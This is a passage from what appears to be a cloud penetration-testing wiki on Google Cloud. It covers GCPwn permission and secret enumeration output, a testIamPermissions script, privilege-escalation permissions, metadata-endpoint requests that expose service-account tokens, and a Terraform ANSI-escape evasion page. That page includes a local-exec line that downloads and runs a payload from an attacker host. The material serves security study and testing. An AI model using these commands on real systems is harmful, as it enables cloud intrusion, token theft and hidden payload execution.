service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n    - compute.instances.addAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.addMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.addResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.attachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.createTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.delete\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.detachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.getEffectiveFirewalls\n      - instance-20240630-025631 (instances)\n    - compute.instances.getGuestAttributes\n      - instance-20240630-025631 (instances)\n    - compute.instances.getIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.getScreenshot\n      - instance-20240630-025631 (instances)\n    - compute.instances.getSerialPortOutput\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedInstanceIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedVmIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.listEffectiveTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.listReferrers\n      - instance-20240630-025631 (instances)\n    - compute.instances.listTagBindings\n      - instance-20240630-025631 (instances)\n    - compute.instances.osAdminLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.osLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.reset\n      - instance-20240630-025631 (instances)\n    - compute.instances.resume\n      - instance-20240630-025631 (instances)\n    - compute.instances.sendDiagnosticInterrupt\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDeletionProtection\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDiskAutoDelete\n      - instance-20240630-025631 (instances)\n    - compute.instances.setIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setLabels\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineResources\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineType\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMetadata\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMinCpuPlatform\n      - instance-20240630-025631 (instances)\n    - compute.instances.setName\n      - instance-20240630-025631 (instances)\n    - compute.instances.setScheduling\n      - instance-20240630-025631 (instances)\n    - compute.instances.setSecurityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setServiceAccount\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedInstanceIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedVmIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.simulateMaintenanceEvent\n      - instance-20240630-025631 (instances)\n    - compute.instances.start\n      - instance-20240630-025631 (instances)\n    - compute.instances.startWithEncryptionKey\n      - instance-20240630-025631 (instances)\n    - compute.instances.stop\n      - instance-20240630-025631 (instances)\n    - compute.instances.suspend\n      - instance-20240630-025631 (instances)\n    - compute.instances.update\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateDisplayDevice\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateNetworkInterface\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateSecurity\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedInstanceConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedVmConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.use\n      - instance-20240630-025631 (instances)\n    - compute.instances.useReadOnly\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)&gt; creds info --csv\n^C\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cd GatheredData/1_demoworkspace/Reports/Snapshots/    \n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ ls\nPermission_Summary_service_user_20240714161752.csv  service_user_1720988272.6552665.csv\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ cat Permission_Summary_service_user_20240714161752.csv \nCredname,Permission,Asset Type,Asset Name,Project_ID,Flagged\nservice_user,compute.instances.list,Project,production-project[TRUNCATED],production-project[TRUNCATED],False\nservice_user,compute.instances.get,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addAccessConfig,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addMaintenancePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addResourcePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.attachDisk,instances,instance-20240630-025631,production-project[TRUNCATED],False\n</code></pre> <p>As mentiond before, each individual service can have testIamPermission so each enum module can have testIamPermissions. This would kinda stink if you had to run them individually so added an <code>enum_all</code> module which calls ALL enumeration modules. You can pass in <code>--iam</code> to <code>enum_all</code> to run all possible testIamPermissions</p> <pre><code>\u2514\u2500$ python3 main.py \n[*] Found existing sessions:\n  [0] New session\n  [1] DemoWorkspace\n  [2] exit\nChoose an option: 1\n[TRUNCATED]\n\nWelcome to your workspace! Type 'help' or '?' to see available commands.\n\n[*] Listing existing credentials...\n  [1] service_user (service) - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      &lt;credential_name&gt; [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file &lt;credential_name&gt; &lt;filepath&gt; [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   &lt;credential_name&gt; &lt;token_value&gt; [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   &lt;credential_name&gt; &lt;filepath_to_service_creds&gt;    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: 1\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)&gt; modules run enum_all --iam \n[***********] Beginning enumeration for production-project[TRUNCATED] [***********]\n[*] Beginning Enumeration of RESOURCE MANAGER Resources...\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE                                                                                                           \n[*] Beginning Enumeration of CLOUD COMPUTE Resources...\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                            \n     - instance-20240630-025631                                                                                                                                     \n[*] Checking Cloud Compute Project production-project[TRUNCATED]...\n[*] Only first few metadata characters shown, run `data tables cloudcompute-projects --columns project_id,common_instance_metadata` to see all of metadata. Use --csv to export it to a csv.\n[SUMMARY] GCPwn found 1 Compute Project(s) potentially with metadata\n   - production-project[TRUNCATED]                                                                                                                                                            \n[*] Beginning Enumeration of CLOUD FUNCTION Resources...\n[*] Checking production-project[TRUNCATED] for functions...\n[**] Reviewing projects/production-project[TRUNCATED]/locations/us-central1/functions/function-12\n[***] GET Individual Function\n[***] TEST Function Permissions\n[SUMMARY] GCPwn found 1 Function(s) in production-project[TRUNCATED]\n   - [us-central1] function-12                                                                                                                                                              \n[*] Beginning Enumeration of CLOUD STORAGE Resources...\n[*] Checking production-project[TRUNCATED] for HMAC keys...\n[SUMMARY] GCPwn found 1 HMAC Key(s) in production-project[TRUNCATED]\n   - [production-project[TRUNCATED]] GOOG1EV[TRUNCATED] - ACTIVE                                                                                   \n     SA: [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                                                 \n[*] Checking production-project[TRUNCATED] for buckets/blobs via LIST buckets...\n[**] Reviewing bucket-to-see-how-much-stuff-121212121212\n[***] GET Bucket Object\n[X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[X] 403: The user does not have storage.objects.list permissions on\n[**] Reviewing gcf-v2-sources-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[***] GET Bucket Blobs\n[**] Reviewing gcf-v2-uploads-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[**] Reviewing testweoajrpjqfpweqjfpwejfwef\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project[TRUNCATED]\n   - bucket-[TRUNCATED]                                                                                                                    \n   - gcf-[TRUNCATED]                                                                                                                      \n     - function-12/function-source.zip                                                                                                                              \n   - gcf-[TRUNCATED]                                                                                                                       \n   - test[TRUNCATED]                                                                                                                                 \n[*] Beginning Enumeration of SECRETS MANAGER Resources...\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 2\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 2\n[****] SECRET VALUE RETRIEVED FOR 2\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test-location\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[SUMMARY] GCPwn found 2 Secrets in production-project[TRUNCATED]\n   - test                                                                                                                                                           \n     - 1: test121212                                                                                                                                                \n     - 2: test                                                                                                                                                      \n   - test-location                                                                                                                                                  \n     - 1: test121212                                                                                                                                                \n[*] Beginning Enumeration of IAM Resources...\n[*] Checking production-project[TRUNCATED] for service accounts...\n[SUMMARY] GCPwn found 3 Service Account(s) in production-project[TRUNCATED]\n   - [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                             \n   - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com                                                                                        \n   - production-project[TRUNCATED]@appspot.gserviceaccount.com                                                                                                      \n[*] Checking production-project[TRUNCATED] for roles...\n[SUMMARY] GCPwn found or retrieved NO Custom Role(s)\n[*] Checking IAM Policy for Organizations...\n[*] Checking IAM Policy for Folders...\n[*] Checking IAM Policy for Projects...\n[*] Checking IAM Policy for Buckets...\n[X] 403: The user does not have storage.buckets.getIamPolicy permissions\n[*] Checking IAM Policy for CloudFunctions...\n[*] Checking IAM Policy for Compute Instances...\n[*] Checking IAM Policy for Service Accounts...\n[*] Checking IAM Policy for Secrets...\n[***********] Ending enumeration for production-project[TRUNCATED] [***********]\n\n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - cloudfunctions.functions.call\n    - cloudfunctions.functions.create\n    - cloudfunctions.functions.list\n    - cloudfunctions.functions.setIamPolicy\n    - cloudfunctions.functions.sourceCodeSet\n    - cloudfunctions.functions.update\n    - compute.disks.create\n    - compute.instances.create\n    - compute.instances.list\n    - compute.instances.setMetadata\n    - compute.instances.setServiceAccount\n    - compute.projects.get\n    - compute.subnetworks.use\n    - compute.subnetworks.useExternalIp\n    - deploymentmanager.deployments.create\n    - iam.roles.update\n    - iam.serviceAccountKeys.create\n    - iam.serviceAccounts.actAs\n    [TRUNCATED]\n- Storage Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - storage.buckets.delete\n      - bucket[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - test[TRUNCATED] (buckets)\n    - storage.buckets.get\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.getIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.setIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n     [TRUNCATED]\n- Secret Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - secretmanager.secrets.get\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.delete\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.getIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.setIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.update\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.versions.get\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.access\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.destroy\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.disable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.enable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n</code></pre>"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-9500-permission-on-orgfolderproject","title":"Enumerate ~9500 Permission on Org/Folder/Project","text":"<p>gcpwn includes a special flag for <code>enum_resources</code> called <code>--all-permissions</code>. When this is used with the <code>--iam</code> flag, gcpwn will attempt ~9500 individual permissions via testIamPermissions. This effectively should tell you every permission the user has in the current resource. Note you can find the list of permissions via the repository. For example, here are all the project permissions it tries. NOTE AGAIN TESTIAMPERMISSIONS IS NOT ACTUALLY ACTIVELY INVOKING THESE APIS. Thus it should be safe to run these all through testIamPermissions. While not shown below you can pass <code>--all-permissions</code> and <code>--iam</code> into <code>enum_all</code> if you want to do this as part of the everything enumeration.</p> <pre><code>(production-project[TRUNCATED]:service_user)&gt; modules run enum_resources --iam --all-permissions\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Checking permissions in batches for projects/[TRUNCATED], note this might take a few minutes (~9000 permissions @ 500/~ 2 min = 36 min)\nCompleted 5/95\nCompleted 10/95\nCompleted 15/95\nCompleted 20/95\nCompleted 25/95\nCompleted 30/95\nCompleted 35/95\nCompleted 40/95\nCompleted 45/95\nCompleted 50/95\nCompleted 55/95\nCompleted 60/95\nCompleted 65/95\nCompleted 70/95\nCompleted 75/95\nCompleted 80/95\nCompleted 85/95\nCompleted 90/95\nCompleted 95/95\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE\n\n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - accessapproval.requests.approve\n    - accessapproval.requests.dismiss\n    - accessapproval.requests.get\n    - accessapproval.requests.invalidate\n    - accessapproval.requests.list\n    - accessapproval.serviceAccounts.get\n    - accessapproval.settings.delete\n    - accessapproval.settings.get\n    - accessapproval.settings.update\n    - actions.agent.claimContentProvider\n    [TRUNCATED]\n    - workloadmanager.insights.export\n    - workloadmanager.insights.write\n    - workloadmanager.locations.get\n    - workloadmanager.locations.list\n    - workloadmanager.operations.cancel\n    - workloadmanager.operations.delete\n    - workloadmanager.operations.get\n    - workloadmanager.operations.list\n    - workloadmanager.results.list\n    - workloadmanager.rules.list\n    - workstations.operations.get\n    - workstations.workstationClusters.create\n    - workstations.workstationClusters.delete\n    - workstations.workstationClusters.get\n    - workstations.workstationClusters.list\n    - workstations.workstationClusters.update\n    - workstations.workstationConfigs.create\n    - workstations.workstationConfigs.delete\n    - workstations.workstationConfigs.get\n    - workstations.workstationConfigs.getIamPolicy\n    - workstations.workstationConfigs.list\n    - workstations.workstationConfigs.setIamPolicy\n    - workstations.workstationConfigs.update\n    - workstations.workstations.create\n    - workstations.workstations.delete\n    - workstations.workstations.get\n    - workstations.workstations.getIamPolicy\n    - workstations.workstations.list\n    - workstations.workstations.setIamPolicy\n    - workstations.workstations.start\n    - workstations.workstations.stop\n    - workstations.workstations.update\n</code></pre>"},{"location":"gcp/enumeration/enumerate_service_account_permissions/","title":"Enumerate Service Account Permissions","text":"<p>Link to Tool: GitHub</p> <p>On GCP it is possible to use the <code>projects.testIamPermissions</code> method to check the permissions that a caller has on the specified Project.</p> <p>To enumerate permissions you will need either a service account key file or an access token as well as the project ID.</p> <p>Info</p> <p>The project ID can be retrieved from the metadata endpoint at <code>/computeMetadata/v1/project/project-id</code></p> <p>The following script taken from the ThunderCTF repository can be used to enumerate permissions:</p> <pre><code>from googleapiclient import discovery\nimport google.oauth2.service_account\nfrom google.oauth2.credentials import Credentials\nimport os, sys\nfrom permissions import permissions\n\nif len(sys.argv) != 2:\n    sys.exit(\"Usage python test-permissions &lt;token | path_to_key_file&gt;\")\n\nif os.getenv('GOOGLE_CLOUD_PROJECT'):\n    PROJECT_ID = os.getenv('GOOGLE_CLOUD_PROJECT')\n    print(PROJECT_ID)\nelse:\n    sys.exit(\"Please set your GOOGLE_CLOUD_PROJECT environment variable via gcloud config set project [PROJECT_ID]\")\n\nif (os.path.exists(sys.argv[1])):\n    print(f'JSON credential: {sys.argv[1]}')\n    # Create credentials using service account key file\n    credentials = google.oauth2.service_account.Credentials.from_service_account_file(sys.argv[1])\nelse:\n    print(f'Access token: {sys.argv[1][0:4]}...{sys.argv[1][-4:]}')\n    ACCESS_TOKEN = sys.argv[1]\n    # Create credentials using access token\n    credentials = Credentials(token=sys.argv[1])\n\n# Split testable permissions list into lists of 100 items each\nchunked_permissions = (\n    [permissions[i * 100:(i + 1) * 100] for i in range((len(permissions)+99) // 100)])\n\n# Build cloudresourcemanager REST API python object\ncrm_api = discovery.build('cloudresourcemanager',\n                          'v1', credentials=credentials)\n\n# For each list of 100 permissions, query the api to see if the service account has any of the permissions\ngiven_permissions = []\nfor permissions_chunk in chunked_permissions:\n    response = crm_api.projects().testIamPermissions(resource=PROJECT_ID, body={\n        'permissions': permissions_chunk}).execute()\n    # If the service account has any of the permissions, add them to the output list\n    if 'permissions' in response:\n        given_permissions.extend(response['permissions'])\n\nprint(given_permissions)\n</code></pre>"},{"location":"gcp/enumeration/enumerate_service_account_permissions/#updating-the-list-of-permissions","title":"Updating the list of permissions","text":"<p>The file containing the list of permissions needs to be created / updated before using the enumeration script.</p> <p>The file <code>permissions.py</code> should look like this:</p> <pre><code>permissions = [\n  'accessapproval.requests.approve',\n  ...\n  'vpcaccess.operations.list'\n]\n</code></pre> <p>The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.</p>"},{"location":"gcp/exploitation/gcp_iam_privilege_escalation/","title":"Privilege Escalation in Google Cloud Platform","text":"Permission \u00a0Resources <code>cloudbuilds.builds.create</code> Script / Blog Post <code>cloudfunctions.functions.create</code> Script / Blog Post <code>cloudfunctions.functions.update</code> Script / Blog Post <code>cloudscheduler.jobs.create</code> Blog Post <code>composer.environments.get</code> Blog Post 1, 2 <code>compute.instances.create</code> Script / Blog Post <code>dataflow.jobs.create</code> Blog Post 1, 2 <code>dataflow.jobs.update</code> Blog Post 1, 2 <code>dataproc.clusters.create</code> Blog Post 1, 2 <code>dataproc.clusters.create</code> Blog Post 1, 2 <code>dataproc.jobs.create</code> Blog Post 1, 2 <code>dataproc.jobs.update</code> Blog Post 1, 2 <code>deploymentmanager.deployments.create</code> Script / Blog Post <code>iam.roles.update</code> Script / Blog Post <code>iam.serviceAccountKeys.create</code> Script / Blog Post <code>iam.serviceAccounts.getAccessToken</code> Script / Blog Post <code>iam.serviceAccounts.implicitDelegation</code> Script / Blog Post <code>iam.serviceAccounts.signBlob</code> Script / Blog Post <code>iam.serviceAccounts.signJwt</code> Script / Blog Post <code>orgpolicy.policy.set</code> Script / Blog Post <code>run.services.create</code> Script / Blog Post <code>serviceusage.apiKeys.create</code> Script / Blog Post <code>serviceusage.apiKeys.list</code> Script / Blog Post <code>storage.hmacKeys.create</code> Script / Blog Post"},{"location":"gcp/general-knowledge/default-account-names/","title":"Default Account Information","text":""},{"location":"gcp/general-knowledge/default-account-names/#service-accounts","title":"Service Accounts","text":"<p>Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse. </p> <p>Information on Service Accounts</p> <p>User-Created Service Account: <code>service-account-name@project-id.iam.gserviceaccount.com</code></p> <p>Using the format above, you can denote the following items:</p> <ul> <li><code>service-account-name</code>: This will tell you potentially what services this is for: <code>Bigtable-sa</code> or <code>compute-sa</code></li> <li><code>project-id</code>: This will be the project identifier that the service account is for. You can set your <code>gcloud</code> configuration to this <code>project-id</code>. It will be numerical typically.</li> </ul>"},{"location":"gcp/general-knowledge/default-account-names/#default-service-account-filename-permutations","title":"Default Service Account filename permutations:","text":"<ul> <li><code>serviceaccount.json</code></li> <li><code>service_account.json</code></li> <li><code>sa-private-key.json</code></li> <li><code>service-account-file.json</code></li> </ul>"},{"location":"gcp/general-knowledge/default-account-names/#application-based-service-account","title":"Application-Based Service Account:","text":"<ul> <li><code>project-id@appspot.gserviceaccount.com</code>: Ths would be <code>project-id</code> value for App Engine or anything leveraging App Engine.</li> <li><code>project-number-compute@developer.gserviceaccount.com</code>: This service account is for Compute Engine where the <code>project-number-compute</code> will be: <code>project-id</code>-<code>compute</code>. I.E. <code>1234567-compute</code>.</li> </ul>"},{"location":"gcp/general-knowledge/default-account-names/#how-to-use-service-accounts","title":"How to use Service Accounts","text":"<p>In a BASH (or equivalent) shell: <code>export GOOGLE_APPLICATION_CREDENTIALS=\"/home/user/Downloads/service-account-file.json\"</code></p>"},{"location":"gcp/general-knowledge/gcp-buckets/","title":"Hunting GCP Buckets","text":"<p>GCP Buckets are almost 100% identical to AWS S3 Buckets. </p> <p>Theory: This call is based on OpenStack; maybe most cloud environments will be the same.</p> <p>Using @digininja's CloudStorageFinder diff the following files:</p> <p><code>diff bucket_finder.rb google_finder.rb</code></p> <p>The main differences are the URLs:</p> <ul> <li>AWS Supports HTTP and HTTPS</li> <li><code>AWS S3</code> URLs: <code>http://s3-region.amazonaws.com</code>, i.e.: <code>http://s3-eu-west-1.amazonaws.com</code>.</li> <li>GCP Endpoint: <code>https://storage.googleapis.com</code></li> </ul> <p>How to find buckets using CloudStorageFinder:</p> <p>Create a wordlist with any name; in our example, it is <code>wordlist.txt</code>.</p> <p>$ <code>ruby google_finder.rb wordlist.txt</code></p>"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/","title":"Metadata in Google Cloud Instances","text":"<p>Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.  </p> <p>The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.  </p> <p><pre><code>curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&amp;alt=text\" -H\n\"Metadata-Flavor: Google\"\n</code></pre> Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add <code>169.254.169.254    metadata.google.internal</code> to your <code>/etc/hosts</code> file.</p>"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/#metadata-endpoints","title":"Metadata Endpoints","text":"<p>For basic enumeration, an attacker can target.  <pre><code>http://169.254.169.254/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://metadata/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/instance/hostname\nhttp://metadata.google.internal/computeMetadata/v1/instance/id\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id\n</code></pre> To view scope: <pre><code>http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H \"Metadata-Flavor: Google\"\n</code></pre> To view project metadata: <pre><code>curl \"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&amp;alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n</code></pre> To view instance metadata: <pre><code>curl \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&amp;alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n</code></pre></p> <p>The following table is pulled from the Google Cloud Documentation</p> Metadata Endpoint Description <code>/computeMetadata/v1/project/numeric-project-id</code> The project number assigned to your project. <code>/computeMetadata/v1/project/project-id</code> The project ID assigned to your project. <code>/computeMetadata/v1/instance/zone</code> The zone the instance is running in. <code>/computeMetadata/v1/instance/service-accounts/default/aliases</code> <code>/computeMetadata/v1/instance/service-accounts/default/email</code> The default service account email assigned to your project. <code>/computeMetadata/v1/instance/service-accounts/default/</code> Lists all the default service accounts for your project. <code>/computeMetadata/v1/instance/service-accounts/default/scopes</code> Lists all the supported scopes for the default service accounts. <code>/computeMetadata/v1/instance/service-accounts/default/token</code> Returns the auth token that can be used to authenticate your application to other Google Cloud APIs."},{"location":"gcp/general-knowledge/security-and-constraints/","title":"Security and Constraints","text":"<p>GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.</p>"},{"location":"gcp/general-knowledge/security-and-constraints/#examples","title":"Examples","text":"<p>From: Organizational Policy Constraints</p> <ul> <li>constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.</li> <li>constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication. </li> </ul> <p>There are specific policies that are not retroactive. We can use these to our advantage. </p> <ol> <li><code>constraints/compute.requireShieldedVm</code>: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs. </li> <li> <p><code>constraints/compute.vmExternalIpAccess</code>: Consider the following scenario:</p> <ul> <li>Constraint is based on the following permutation: <code>projects/PROJECT_ID/zones/ZONE/instances/INSTANCE</code></li> <li>Constraint looks for the <code>name</code> of the machine in the <code>project</code> identifier specified in the specific <code>zone</code></li> <li>If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address</li> <li>Machine cannot already exist.</li> <li><code>constraints/compute.vmCanIpForward</code>: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.</li> </ul> </li> </ol>"},{"location":"terraform/terraform_ansi_escape_evasion/","title":"Terraform ANSI Escape","text":"<p>Original Research: Joern Schneeweisz</p> <p>When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.</p> <p>Take for example the following Terraform code.</p> main.tf<pre><code>resource \"null_resource\" \"hypothetical_ec2_instance\" {\n}\n\nresource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload &amp;&amp; chmod +x payload &amp;&amp; ./payload\"\n  }\n}\n</code></pre> 